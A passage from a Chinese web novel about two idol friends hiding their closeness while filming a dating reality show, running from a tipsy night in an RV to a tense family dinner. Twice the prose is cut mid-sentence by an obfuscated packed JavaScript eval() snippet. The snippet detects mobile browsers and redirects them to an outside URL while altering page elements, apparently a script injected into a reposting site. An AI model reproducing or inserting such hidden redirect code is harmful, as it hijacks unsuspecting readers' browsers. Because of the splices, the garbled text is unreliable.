就好像将细碎的光一道收拢了起来,松穆忍不住循着去摸他的腰窝,又被蛊惑似的沿着背沟一路向上,直到把人摸得浑身发软,眼尾泛红,才堪堪收了手。 房车的暖气熏得有些热,松穆脱下外套挂在一边,又将林露秋的碎发拢在耳后,“......好看,特别好看。” 酒后容易渴水,松穆手背贴着林露秋发烫的面颊,摸他微微干燥的嘴唇,“是不是渴了,要不要喝点水?” 林露秋点了点头,却没让松穆走,他蹬掉剩下那只鞋,就着这个姿势圈上了对方的腰,没用什么力,但也没被挣开。 背后是一团散乱的软被,林露秋放松地任由自己陷下,他眉眼慵懒,还染着未褪的瑰色,唇角轻轻勾着,不发一言,就这么看着松穆。 房车的窗帘已经放下了,大灯没开,只有一盏壁灯亮着,朦朦胧胧照在交叠的身体上。 松穆已经习惯了林露秋醉后黏人的样子,眼下也不觉得哪里不对,反而捧着他的脸,用食指和中指夹住他的耳垂,轻轻揉捏着,声音温柔,耐心得惊人。 “怎么一喝醉就耍赖啊林老师......我不走,就去倒杯水,倒完就回来了,嗯?很快的,真的,所以啾大人能不能高抬贵手,放开我一下?” 林露秋被揉得舒服,歪着头听了几秒才明白他的意思。他认真端详着松穆的表情,半晌,才敲章似的偏头往对方掌心亲了一口。 这就是同意的意思了。 松穆夸他:“好乖。” 松穆从床上起身,期间林露秋就一直盯着他看,被子从身后拽了过来,遮住大半张脸,只有一双水润的眸露在外面,一差不差望着。 乖得可怜,可怜得要命。 最后反倒是松穆先受不了了。 他把杯子放到桌上,长腿一迈,几步走回林露秋身边,伸臂将人从床上抱了起来。 也算一回生二回熟,松穆这次动作明显比在楼梯间的时候自然多了,甚至一臂环着,另一只轻拍林露秋的背以作安抚。 林露秋则是没有骨头似的全程挂攀在松穆肩背,呼吸、头发一阵阵擦过他的耳朵、脖颈,惹出一小片肉眼可见的红。 松穆的动作于是愈发快起来。 水流没过半杯,玻璃的边缘被热气蒸出一圈白雾,松穆试了下温度,觉得差不多,就抬手递到了林露秋唇边。 林露秋就着他的手一口气闷了大半,脸颊微鼓,忽然,他皱着眉,整个人朝松穆怀里缩了下,小声抽气:“烫......” 柔嫩鲜红的舌尖在眼前一闪而过,眼看就要收回唇齿,松穆先一步用拇指卡上他的唇,用了点力,把林露秋的下巴抬起来。 “烫到了?张嘴我看看。” 松穆着急,语调中都带了点不容置喙的强硬,他想也没想就压上林露秋的牙尖,指腹往里探去,想看对方的伤口,但他动作太快,没控制好力道,反而弄得林露秋不太舒服。 林露秋被扣在了原地,偏头想躲开,却因异物感而不自觉抿起唇,饱满的唇瓣压出了一道柔和的弧度,舌头软而可怜地卷过那根强硬闯入的指节,半张着嘴,喉结脆弱地上下轻颤着。 他被松穆抱到了侧桌板上,背后是冰凉的车壁,温度透过布料一路钻进肌肤,整颗心脏都在密密麻麻地跳。 松穆的拇指不知何时已经深入到了舌中,被湿濡滑嫩的热气裹挟着,进退两难,他似乎也被眼前的意外吓到了,僵硬在原地,半晌没给出任何反应。 被热水浸泡得红润温暖的唇舌触感鲜明,甚至在挑逗似的轻轻吮吸着...... 松穆自己都不知道自己是什么心情。 头脑昏沉中,林露秋抬手胡乱攥紧了松穆的袖口,腰肢向上弓起,难耐地从喉间泄出一声轻哼。 他的脖颈绷直着仰起,分明是一个被控制的姿态,眼尾却是上扬的,露出几分没有掩藏住的兴味愉悦。 也是直到此刻,松穆才骤然回神。 他六神无主急匆匆地收回手,而后赶紧抓了几张纸巾,给林露秋细细擦去唇边抽带出的晶亮水渍。 松穆颊齿紧绷,恍惚得大脑一片空白,只能低低重复着,“对不起......对不起,弄疼你了吗?” 他眸光已然全暗了,望过去的时候就宛如被吸入了一汪幽深寒潭,偏偏本人无知无觉,顶着脖间鼓起跳动的青筋,表情茫然而挣扎。 松穆的骨架本来就比林露秋要大上一圈,哪怕垂着头依旧很有压迫感,他现在哑着嗓子把林露秋堵在角落,活像一只即将失控的大型野兽。 但谁都知道他不会。 林露秋就这么看着松穆明灭变幻的神色,差点没维持住面上的醉态笑出声来。 怎么会有人能这么...... 这么地让他难受,又这么招他喜欢。 松穆知道自己现在是什么样子的吗? 眼圈都被勾红了,浑身所有的细胞都充分地做好了下一步的准备,肌肉硬得像铁,唯独那根筋转不过弯来,想不通原来除了朋友,他们还能成为别的关系。 林露秋毫不怀疑,如果他此刻借着醉意勾住松穆的脖子吻上去,对方也许都不会推开。 反正亲完了,松穆纠结的也还会是两个直男抱一块啃嘴算不算正常。 最后的答案竟然还是【是】。 林露秋早就发现了,松穆会对他们之间所有过于暧昧的行为都划归到合理的范围内,因为他们从小就认识,从小陪伴在对方身边,生活重叠着,再怎么也分不开,所以特殊点也是没问题的。 不是家人,胜似家人。 松穆身边没有任何可以放在这段关系里参照的范例,他和林露秋相处的所有标准与规范都仅来源于他们两个,于是一年年过去,独属于两人的那道屏障越来越厚,相反,他们之间的分寸感却越来越弱。 弱到林露秋问他要不要接吻,松穆的第一反应是回避,可第二天就已经能平静接受了。 他不会去想林露秋为什么要和他接吻,总之只要林露秋的首选是他,其他的都不重要。 “......” 按捺下千回百转的思绪,林露秋再度将目光落回松穆的面庞,他缓缓眨了下眼,才艰难地酝酿出几分困意。 他装作自己已经醉得发昏,听不清对方在说什么,摇摇晃晃要从硌人的桌板上下来,而后在失去平衡的时候,一头猛地扎进了松穆怀里。 当然是被好好抱住了。 松穆连先前发生了什么都顾不上了,小心翼翼接住已经阖上眼睛的林露秋,呼吸放轻。 许是松穆一直在身边陪着的缘故,林露秋被熟悉的气息包围,竟然在不知不觉间真的睡着了。 等到房车停回了小屋门口,林露秋才悠悠转醒。 一睁眼,就看到了卡座上的松穆。 这么多年装醉的经验让林露秋的演技几乎到了炉火纯青的地步,他连意识都还没清醒,身体先一步演了起来,裹着被子微微蜷起,双眸迷蒙。 松穆什么都没察觉,蹲坐在床边,去牵林露秋的手,“小啾,到家了,我们得下车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14960335|161041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” 担心刚睡醒冷热交替会生病,见林露秋坐起来,松穆把自己的外套替他裹上,搂严实了,才问:“身上有力气吗,要不要背?” 林露秋有些意外地看了他一眼。 当着这么多人的面背自己?松穆难道不担心被发现吗。 他当然不会答应,拿捏着度摇了摇头,而后在松穆的搀扶和工作人员紧张的视线下一步步挪进了自己的房间。 ——事实证明林露秋猜想得的确没错,也不知道其他人在录制期间听到了什么,又联想到了什么,总之整个节目组都对他和松穆关系急张拘诸,生怕松穆趁着他醉酒而突然发难。 林露秋对此哭笑不得。 今天的拍摄分量已经够了,晚饭过后没有其他的任务,几组分别休息。 知道这边醉着,众人没有打扰,只有温白煮了一碗醒酒汤送过来,被松穆轻声谢过。 正式入住后的第一天被安排得满满当当,林露秋回想起来还觉得有些新奇。 他的确困了,强撑着喝完醒酒汤,简单洗漱一番就把自己沉进了被窝,身体懒散得连思考都觉得费力,就这么沉沉睡去。 一夜无眠。 第二天是周日,节目组好心的没有安排任何运动类环节,转而买了一大盒不同种类的茶叶,早早送到了小屋门口。 因为送得实在默默无闻,还是尤卜从外面回来后发现的。 彼时林露秋正和殷潚并排瘫在躺椅上敷面膜,见尤卜过来,关注点甚至没有落在那个盒子上。 殷潚很惊讶:“你怎么把美甲卸了?” 尤卜伸出指甲骤短,但依旧干干净净的手,给两人看了看,笑着道:“不方便。” 他没有在这个话题上多说,俯身将带有节目组logo的茶盒放到桌上,“门口看到的,还有一张任务卡……虽然没有任务就是了。” 林露秋一开始没懂他的意思,直到将任务卡接过,完整看了一遍,才有些忍俊不禁。 他指间夹着任务卡翻转,“我还是第一次见到把‘休养生息’当成任务发布的节目。” 殷潚支着身体侧过来看任务卡,扫完,又把自己砸了回去,拍着面膜没什么情绪地来了一句:“好耶,是假期。” 隗立宵在不远处咬着苹果振臂欢呼:“我们有救了——” 总之,没有人能拒绝一个天降的休息日,哪怕是在恋综。 茶叶礼盒里翻到了红茶,三个小孩吵着要吃红茶蛋糕,一齐钻进了厨房。 温白想帮忙,但被他一个人喂活八口人太辛苦为由拒绝了,只得到了第一个试吃的机会。 薛常和尤卜计划自驾十几公里去爬山,临走顺了一包花茶,估计晚饭的时候才会回来。 林露秋没什么特别想做的,思来想去,拉着松穆去了后花园。 花园面积很大,草面柔软,踩上去能听到沙沙的细响。 林露秋带了张餐垫,铺在地上,和松穆一起晒太阳。 他很喜欢这种能够躺着的活动,微风习习,拂过面庞,既不喧嚣,也不冷清,心很静,可又能清晰地听到跳动的声音,像是将整个世界都装进了自己的身体里。 “会觉得无聊吗?”林露秋问道。 松穆被阳光晒得骨头泛软,眉眼金灿一片,“不会。” “可是你的心跳好慢哎。”林露秋握上了松穆的手腕,微风拂过额发,两人垂着眸,絮絮说着小话。 松穆盯着他瞧:“说明我没有撒谎。” “是么?” 林露秋翻了个身,趴着支头看他,而后一点一点,在松穆温热的目光下凑近。 “……那现在呢?它开始变快了。” 19. 照顾 说完这句,林露秋很轻地笑了声。 他玩笑似的落了一句,随后便没再管骤然呆愣的松穆,偏头去看风景。 今天的天气实在是好,温度、风,一切都恰到好处,叫人光是看着云朵软乎乎地飘过太阳,就能忍不住勾起嘴角。 午饭吃的是殷潚他们做的红茶蛋糕,虽然戚风做得不太成功,模样也有些扭曲,但味道竟然出奇不错。几人各自分了点,最后剩了两块给尤卜和薛常。 《恋爱记录手册》的录制周期有21天,但时间并不持续,录三休一,节目采用的是边拍边录的播出方式,那一天就是留给节目组剪辑休整用的。 睡前是第一次后采,情侣间分开,林露秋排到了最后一个,出门的时候松穆还没回来。 夜晚降温厉害,他行李箱的衣服都偏薄,于是拿了一件松穆的。 外套宽大暖和,一套上就沉沉包裹住了他的身体,林露秋把手蜷进袖口,沿着碎石道朝后采室走。 顾一默见到他,先递了杯姜茶过来,“穆哥准备的,说让你拿着暖暖手。” ——“当然最好还是哄着他喝几口”,松穆说话时的语音语调都还历历在目,但顾一默实在没这个胆量服从安排。 因为林露秋在闻到姜味的瞬间,唇角的弧度就消失了。 他要笑不笑的,像在嘲弄:“辛苦,也替我谢谢松老师的好意。” 顾一默见状忍不住开始揣测松穆的用意,她抹了把额头不存在的汗,坐下准备提问。 林露秋他们的后采流程和别的组不太一样,第一个问题问的是和对方初见时的感受。 林露秋把姜茶窝在手里,很认真地想了想,还是摇头,实话实话:“记不清了。” 松穆的身影他从记事起就没消失过,从话都说不清的阶段就开始胡闹着一起长大,哪还留得下初见感受? 要说对方犯的糗事,林露秋倒是能对答如流。 “在这几天的相处过程中,有改变对他的观感吗?” 答案当然是否。 人还是那个人,怎么会因为几天的录制就改变了在自己心中的形象。 林露秋猜想松穆的回答大抵也是如此,那家伙说不出特别弯绕的话,干脆放弃了打官腔,利落吐出两个字:“没有。” 他说的都是实打实的真话,偏偏没有人理解其背后的意思,半个屋子的工作人员思绪翻飞,不禁开始汗流浃背地看天看地,手里拿的东西都要扣烂了。 ——记不清了!这两位祖宗对着镜头连恭维话都说不出口! ——没有改变观感!他们依旧相看两厌势如水火,同住一个屋檐却丝毫没有和解的打算! 节目里拍摄到的那些若有似无的互动果然都是老戏骨的敬业之作,现实中只要一分开,话里话外都急着要解绑啊! 顾一默听到与先前那位如出一辙的答案,声音都有点发虚,紧急换了话题:“......那小秋老师,经过和其他嘉宾的几天相处,您对‘恋爱’或是’伴侣‘这两个词,有什么新的感受吗?” 林露秋没想到她问题切这么快,连一句追问都没有,原本想说的围绕松穆的评价只好统统咽了回去。 他对恋爱没什么感受,只对直男有了更深的认知。 林露秋在心里默默吐槽,嘴上还是修饰着回答完问题。 后采结束,这一阶段的录制也算是落下了帷幕。 虽然有一天的休息时间,但后面还有录制,所以大家依旧可以选择留在别墅。 工作原因,薛常得赶回公司处理堆积的事务,尤卜陪他,另外四人则约着在家里看电影。 林露秋和松穆一早定了要回家,隔天起了个大早,天还没亮就已经洗漱完下了楼。 别墅门口停了两辆保姆车,除了车牌,从款式到窗上贴的膜都一模一样,林露秋辨认了一会儿才迈步,打开其中一扇车门。 然后看到了松穆助理的脸。 “……” 两人静静对视了几秒,在他的目光下,助理的笑眼里逐渐染上了几分惊恐。 林露秋礼貌朝对方点了下头,随后一把关上了车门,转身就走。 ......俩公司真是神经病,保姆车都得卷成这样。 正腹诽着,视野还没清晰,腰间忽然受到了一股阻力,拉着他生生止住了脚步,林露秋身形一歪,就这么被后方的松穆半抱着拽上了车。 松穆长臂一伸卡在门框,拦住了林露秋的去路,偏身,朝另一边扬声喊道:“你家秋老师跟我走了嗷!” 林露秋在座位上听到了自家助理那仿佛丢了孩子般无措的声音:“哥!不合适,这不合适啊!!!” 应该是被吓到了,有点破音。 还没等人下车来追,松穆身姿矫健蹿上座椅,门砰地一阖,吩咐助理:“开车。” 车轮咕噜噜开始滚动,没多时就将另一辆原地踌躇的保姆车甩出一大截。 林露秋认命拿出手机安抚助理的情绪,一边打字一边对松穆道:“车都到了你还把我弄上来,让人家白跑一趟。” 前座的助理眼神飘忽,时不时去瞟后视镜,显然对这两人共处一室的画面消化不良,松穆拍了下椅背让他好好开车,而后把中间的隔板升了起来。 “接送你本来就是他的工作,哪来白不白跑的。再说了,我也没为难他。” “当着他们的面就这么和我接触了,还说没为难?” 林露秋和松穆的保密工作做得几乎无孔不入,算上练习生时期,进公司十年的时间,两边团队愣是一点不知道他俩的关系。 直到现在,所有人都还以为松穆来参加节目是为了羞辱林露秋。 尽管林露秋完全想不通这个结论的推导逻辑。 拜托,他俩都算一起下海了。 “那是他们自己思想有问题。”松穆义正辞严,“都2027年了,两家公司的艺人交个朋友怎么了,搞得像外族通婚一样,见个面都吓得要死。” “以前更过分,还查手机,要不是我俩改了备注,早露馅了。”松穆越说越激动:“还有你们那个什么艺人经理,整天摆着张臭脸巡逻,张口闭口就是‘对面没一个好东西’......” 决定成为练习生的时候两人都还没成年,暗生的情愫、对未来的迷茫与压力同青春期交织在一起,压成了一场矛盾的竞赛。 他们开始不受控地以最尖锐的面目相对,互相争抢,互相刺痛,不满在日复一日的堆积中爆发,最终演变为那一次无法回头的争吵。 争吵的结果,是两个人幼稚地选择了最不对付的两家公司,并赌气隐瞒了对方的存在。 那时的开缘和皆鎏正是竞争最白热化的阶段,高层铁了心想吞并对方一家独大,战火浓厚,一路烧到了练习生的身上。 皆鎏每天在课程结束之后还会单独召开练习生小会,检查大家手机中的通讯信息,并对开缘进行用词极为主观且强烈的批斗大会。 甚至有时练习生经纪人会拉开走廊尽头的窗帘,面对着一街之隔的开缘明目张胆阴阳怪气。 两边因此诞生过不少上不了台面的骂战。 总之,等林露秋和松穆终于和好的时候,他俩的关系已经像甄嬛和果郡王一样足以株连九族了。 练习生时期不能得罪公司,出道了更不能,等好不容易在圈内站稳脚跟,拥有了话语权,粉圈又打成这样,于是两人只能一瞒再瞒。 直到今天。 松穆真的再也忍不住了。 他大吐完苦水,人已经快挤到林露秋的座椅上去了,膝盖碰着膝盖,手也放在对方身后。 松穆委屈完,又不禁满怀期待:“不过现在好了,我俩合约都到期了,等独立出去谁管得到,而且还有这个综艺做预防针,到时候节目一开播,大家的关系肯定能缓和。” 林露秋:“......” 他回想起工作人员的表情,觉得事情没这么简单。 但松穆已经把自己说高兴了,林露秋不想在这个时候泼他冷水,干脆装作不知道,摸了摸他的头,“嗯,只要再熬一段时间就好了。” 因为这点心思,松穆也懒得再做表面功夫,直接让助理开到自家门口,带着林露秋一起下车。 林露秋冲满脸呆滞的助理道过谢,而后熟门熟路和松穆一起踏进了他父母的住所。 别墅内开了空调,还点了香薰,空气中弥漫着一股淡淡的花香,林露秋舒了口气,脱下外套挂在臂弯,“你就不担心他告诉公司?” 松穆从鞋柜里找出两双同款不同码的棉拖,将其中一双放到了林露秋面前,耸肩,“无所谓,迟早的事。” 玄关的动静惊动了在客厅忙碌的人,阿姨擦着手小步跑过来,兴冲冲将他们往里迎,“小啾和阿木回来了啊,今天好早,你们都吃了伐,饿不饿?” 阿姨姓姜,以前是松母的月嫂,后来由于做事灵活,手艺又好,就一直留下了。 林露秋和松穆都算她照看着长大的。 两人叫了声:“姜姨。” 松穆回她:“都吃过了。饿倒是不饿,就是想您的手艺了。” 林露秋也道:“外面烧的都不如您做的。” 姜姨被哄得眉开眼笑,一边夸他们嘴甜一边进厨房,“一路过来也累了吧,快去坐着,先生和夫人都在楼上呢,说忙完了就下来。” 松家是正统的豪门,家业连着传了许多代,也是基因好,每代家中都有一个镇得住场的掌权人,偏偏到松穆这,不知道是哪个环节出了差错,跑去当了爱豆。 好在松父松母为人开明,没强迫松穆继承家业,认命地待在高位一年年继续干。 就是退休计划因此一再耽搁,以至于两人每次看到自家儿子都有点牙痒。 长辈在工作,他们也不方便打扰。林露秋在沙发上坐下,一后仰身体就自动找到了最舒适的姿势,打着哈欠刷手机。 他和松穆一起录恋综的消息被偷跑了出去,这几天顾一默除了整顿内部,就是计划将宣发提上日程。 热度经不起消磨,类似的消息如果再出现一次,无论对节目还是两位当事人的路人缘,都是很大的考验。 节目组已经加班加点开始剪辑预告,今晚就会发布第一条官方微博,正式宣布嘉宾阵容。 林露秋的合约在本周到期,微博的管理权也归还了回来,正好他工作室的筹备差不多到了尾声,林露秋索性直接把账号放给了工作室,自己没再跟进网上的消息。 主要是他一看到漫天飞的自己和松穆的冤家史就有点头皮发麻。 没办法,谁让各大软件总会精准给他推送一些例如:“松穆与林露秋不得不说的二三事”/“今日同款!两大顶流撞衫,这次谁赢了?”/“从十个方面对比分析,究竟谁才是‘松林’之争最后的胜者”...... 诸如此类的文章。 林露秋一开始还会疑惑地点进去,无语地退出来,现在已经连腹诽的精力都分不出了。 松穆从姜姨手中接过果盘,挑了块林露秋爱吃的喂到他嘴边,顺势凑过去,“在和工作室交接?” 林露秋对水果没什么想法,但是切好了喂到嘴边的还是会吃,他嚼着瓜“嗯”了声,牙齿咬碎果肉咽下,无意识舔了舔唇上留下的清新甜味。 他在这里和在自己家没什么区别,肩脊懒散地耷着,眉眼中藏着的冷意都被暖化了,淌出几分由偏爱养出的娇纵。 不知不觉就靠到了松穆身上,林露秋调出聊天记录递过去,盘着一条腿,“都准备得差不多了,等皆鎏的公告一发,我这里可以无缝接上,正好引流。” 松穆过着他们工作群的消息,点了下头,“挺好的,之前的约都处理干净了,之后就不用再顾忌皆鎏了。” 他看完,把手机还给林露秋,还是那句话,“有需要就找我。” 松穆这些年除了本职工作,也在逐渐接触家中事业,所以合约到期后他干脆把工作室挂在了松氏旗下,没多折腾。 这事当然也问过林露秋,但被对方一口回绝了,林露秋不知道为什么执意要独立门户,是以这段时间都在忙工作室的事,亲力亲为,下巴都瘦尖了不少,看得松穆跟着上火。 “哦。”林露秋嘴上应着,但瞧样子就知道完全没听进去。 松穆有心想说他几句,正要开口,楼上传来一阵脚步声,引得两人同时扭头。 熟悉的面孔映入眼帘,林露秋站起身,弯眸唤道:“爸、妈。” 林露秋的妈妈生前和松母关系最要好,在他俩还没出生的时候就拜好了干亲,后来林家出了事,这么多年林露秋一直在松家生活,干爸干妈叫着叫着就省了前缀。 松母裹着毛肩外套,脚下拖鞋踩得哒哒作响,“哎呦,回来啦~都站着干嘛,坐呗,我还需要你们迎接啊。” 她把林露秋拉回沙发上,攥着手臂捏了捏,“最近工作是不是很辛苦啊,怎么又瘦了?” 说完,左右瞅着松穆的脸,“这小鬼倒是伙食不错,一看就没亏待自己。” 松穆无语:“我体重一点都没变好吗!” 松母:“谁叫你和你哥坐一起,显壮。” 松父手上捧了半个西瓜,还没动过,林露秋趁着松穆在和妈妈拌嘴,悄悄把头伸过去,张嘴。 松父睨了他一眼,挖出中间的红心喂过去,“俩臭小子一回来我连西瓜都吃不到最甜的。” 松穆回头的时候西瓜最中间那块已经被林露秋叼走了,他嚎了一声,赶紧蹿过去,“啊——” 松父放下那块就快到嘴边的西瓜,愤怒地再喂出去一勺。 松穆咀嚼着西瓜,感慨:“哇哦,果然还是抢别人的东西最好吃了。”然后挨了林露秋一肘。 松母问:“甜不甜?” 打闹的两人同时点头:“甜。” 于是松父面前的顾客又换成了松母。 西瓜的份量还挺足,四个人分着吃完都有点半饱,松父清理完剩下的,把瓜瓢放到茶几上,“晚上还能搞个凉拌瓜皮吃吃。” 松穆:“为什么不放中午?” “你们难得回来一趟,肯定要烧点贵的啊,那些个大鱼大肉都整上,这瓜皮么就吃着玩玩的。”说到这儿,松父哀嚎了一声,“苦啊——儿子不在家,饭桌上都没有肉的,你们妈妈把我当羊喂哎!” 松母一巴掌拍过去,“劲瞎讲,我饿着你啦?上年纪了,油水好刮刮嘞,肚子那么大,不知道的还以为我们家要养三胎了。” 松父拍拍肚子,撇着嘴不说话了。 松穆最爱看松父吃瘪,这会儿和林露秋挤在一块偷乐。 有段时间没见了,一家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14960336|161041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人吃饭的时候都没停话,聊着最近发生的大小琐事,话题转了一圈又一圈,最终还是绕不开某一个微妙的领域。 松母给林露秋夹了一块鱼肚子上的肉,“小啾这下也算自己当老板了,离开了组合,之后是不是就考虑别的发展路线了?” 松穆合约到期后没续个人约,但是续了团队约,林露秋则是两个都没续。 林露秋在爸爸妈妈面前不挑食,一筷跟着一筷努力吃着,“嗯。先放一段时间假,然后再学点编曲和表演什么的,反正都试试看。” “那应该就不算爱豆了?” 林露秋握着筷子的手一顿,迟疑了下,“......也不是,主业还是爱豆。” “哦,这样啊。”松母闻言有点惋惜,“我还想着呢,你和阿木都二十七了,以前是职业摆在这,不合适,现在也不待在公司了,这个年纪总该谈朋友了是吧?” 她回想着身边的朋友们,“老孟他们家孩子前几年结的婚,比你们还小几岁呢,现在小孩都生出来了。” 松穆不太乐意听到这种话,“妈,我们忙事业呢,哪有心思谈恋爱,你要真喜欢小孩,有空了就去人家家里看看得了。” “我那是喜欢小孩吗?我是看你们年纪到了,身边总没个人,寂不寂寞啊?现在你们俩还能呆一块,以后呢,一个结了婚,另一个又在外面跑,谁放得下心?” 尤其是他们家这个大的,从小身子骨就不行,看着柔柔弱弱的,真钻起牛角尖来比谁都犟,现在他们还照顾得过来,以后等老了,俩小孩又不住一块,要是生病了都没人知道。 还是得家里有个人,有在意的人了,自己总归能注意着点。 松母是越想心越不定,“我看也别过几年了,你们俩有空就多出去转转,见见人家小姑娘,有喜欢的么就带回来给爸爸妈妈看看,我们又不是什么老古板,一定要谁家的千金大小姐。你看阿木小时候和女同学早恋我都没管过嘞!” 松穆差点跳起来:“妈!说多少遍了我没早恋!” 当时那是学校活动,而且他牵的也不是女同学的手......! “行行行没有早恋,真是的,你们班主任都给我通过电话的......啧,这小鬼一塌糊涂,责任心一点没有,和你谈朋友倒霉的。” 话题中心的另一个人听到这话,在松穆边上如坐针毡,逐渐尝不出嘴里的味道了。 松母没打算和松穆多说,数落了几句就转头看向林露秋,“小啾啊,下次休息还回不回来,那几天正好有个宴会,我带你去哦。” 松穆拿筷子戳饭,一口回绝,“下次不回来,来回路这么远,哪有空一直折腾。” “那就等空了再说。我都打听过了,好几家小姑娘都和你们年龄差不多大,漂漂亮亮的,到时候加个联系方式,平时好聊聊天。” 松穆嘀咕:“再漂亮能有小啾漂亮吗?” 松母懒得搭理他,还在对林露秋苦口婆心,“你们俩身边朋友少,这么多年也就阿羡一个长久的,不说找对象,出去转转也好的呀。或者,人家老李家,儿子刚从国外回来,一米八一米九的,脸蛋也俊,有机会......介绍你们认识认识?” 松母的语气有点古怪,说是劝说,但在林露秋耳中听起来更像是试探和犹疑,这一击来得突然,打得他不免怔愣当场。 心脏在瞬间拔高,不上不下悬在了半空,林露秋脑中嗡鸣一片,不禁开始思索,妈妈是不是发现了什么? 如果不是有所怀疑,怎么会在此刻提到这些话? 胡思乱想中,时间被拉得格外漫长,林露秋担心松母察觉自己的异样,当即便想回答,可直到张开了唇瓣,他才陡然发现自己喉间早已酸胀一片,发不出任何声音。 他没法在他们面前撒谎。 “......” 就在林露秋兀自慌乱时,忽然,另一道声音出现,强硬地截断了所有人的注意。 松穆彻底吃不下了:“什么一米八一米九,我还两米二两米三呢,费那么老大功夫和一男的认识有什么劲,我这张脸还不够看吗?” 他也不知道自己怎么了,听松母说这些话心里烦得厉害,“哪来机会,没有机会,妈你别给小啾增加负担。” “我问小啾你老插什么嘴?”许是也看出林露秋的为难,松母轻叹了一口气,“我这不是看你们......哎,我是觉得,家里养两个儿子是养,再多养一两个也不是不可以。小啾要是不喜欢姑娘,那男孩——” “想什么呢,小啾是直男!”松穆皱着眉啧了声,“您开明也得对准了性向再开吧,他不喜欢男的,快把你手机里那些老李老王家的儿子都收起来......我又不是不知道他们长什么样,一个个歪瓜裂枣的,还没小时候穿开裆裤的时候顺眼,跟小啾站一起那还能看吗。” 松母翻了个白眼:“哦,全天下就你最好看了是伐,还说人家歪瓜裂枣,你有本事和人家比长相,怎么不和人家比比学历啦?别人家小孩都是留学回来的,读研读博开公司哎,你再看看你上学那个鸡零狗碎的绩点,我拿出来都觉得坍台!” “你觉得坍台还是人家觉得坍台?”松穆说着就来气,“你以为那群男的是什么好东西?他们根本看不起爱豆,当年就没少在背后嚼我俩舌根!” 都是些自视甚高的蠢货,以为靠着家里出了头就是土皇帝了,对着他俩什么难听话都说过,松穆当时就没忍,现在更不可能眼睁睁看着林露秋和这群杂碎混一块。 他表情不虞,态度也很强硬,松母倒是不知道还有这一茬,转而松了口,“那人品不行的还是算了......” 话音刚落,她抚掌,眼前一亮,又想到一个好主意,“下个月我们家不是有个慈善展嘛,规模不大,来的都是熟人,在生意场上打这么多年交道,家里情况都知根知底的。那个时候你俩综艺也差不多结束了吧?一起来。” 松穆好说歹说就是劝不住妈妈想牵线搭桥的心,无奈得头疼:“我们真不去,妈,我们现在日子过得好好的,你非把我们推出去干嘛?!” 林露秋终于在两人机关枪似的对话中找到了机会开口,他附和道,“妈,我们现在还是打算以事业为重。” 松母视线在两人身上转了圈,揉了揉额角:“我就是不放心......尤其是小啾,平时也不在我眼皮子底下,我老担心你照顾不好自己。” 林露秋的臭毛病全家都知道。以前他要当练习生的时候松母就不同意,早出晚归还睡不好觉,这身体怎么吃得消。要不是有松穆打包票说一定把人看好,松母是万万不可能松口的。 可如今俩小孩一眨眼都27了...... 等再过几年,松穆谈恋爱结婚了,哪里还顾得上林露秋? “你又不可能照顾小啾一辈子。” 随着松母这句话落地,客厅中突然陷入了前所未有的寂静。 林露秋缓缓收紧了掌心,喉结滚动间,是一片难以下咽的复杂情绪。 不过令人窒息的沉默没有持续太久,凳角和地板划出的细微声响打破了迟滞的空气。 “为什么不可能?”松穆端坐在桌前,和自己的母亲平视。 他牵过林露秋的手,一字一顿,语气是从未有过的认真,“无论现在还是将来,林露秋这辈子,都是我最重要的兄弟!”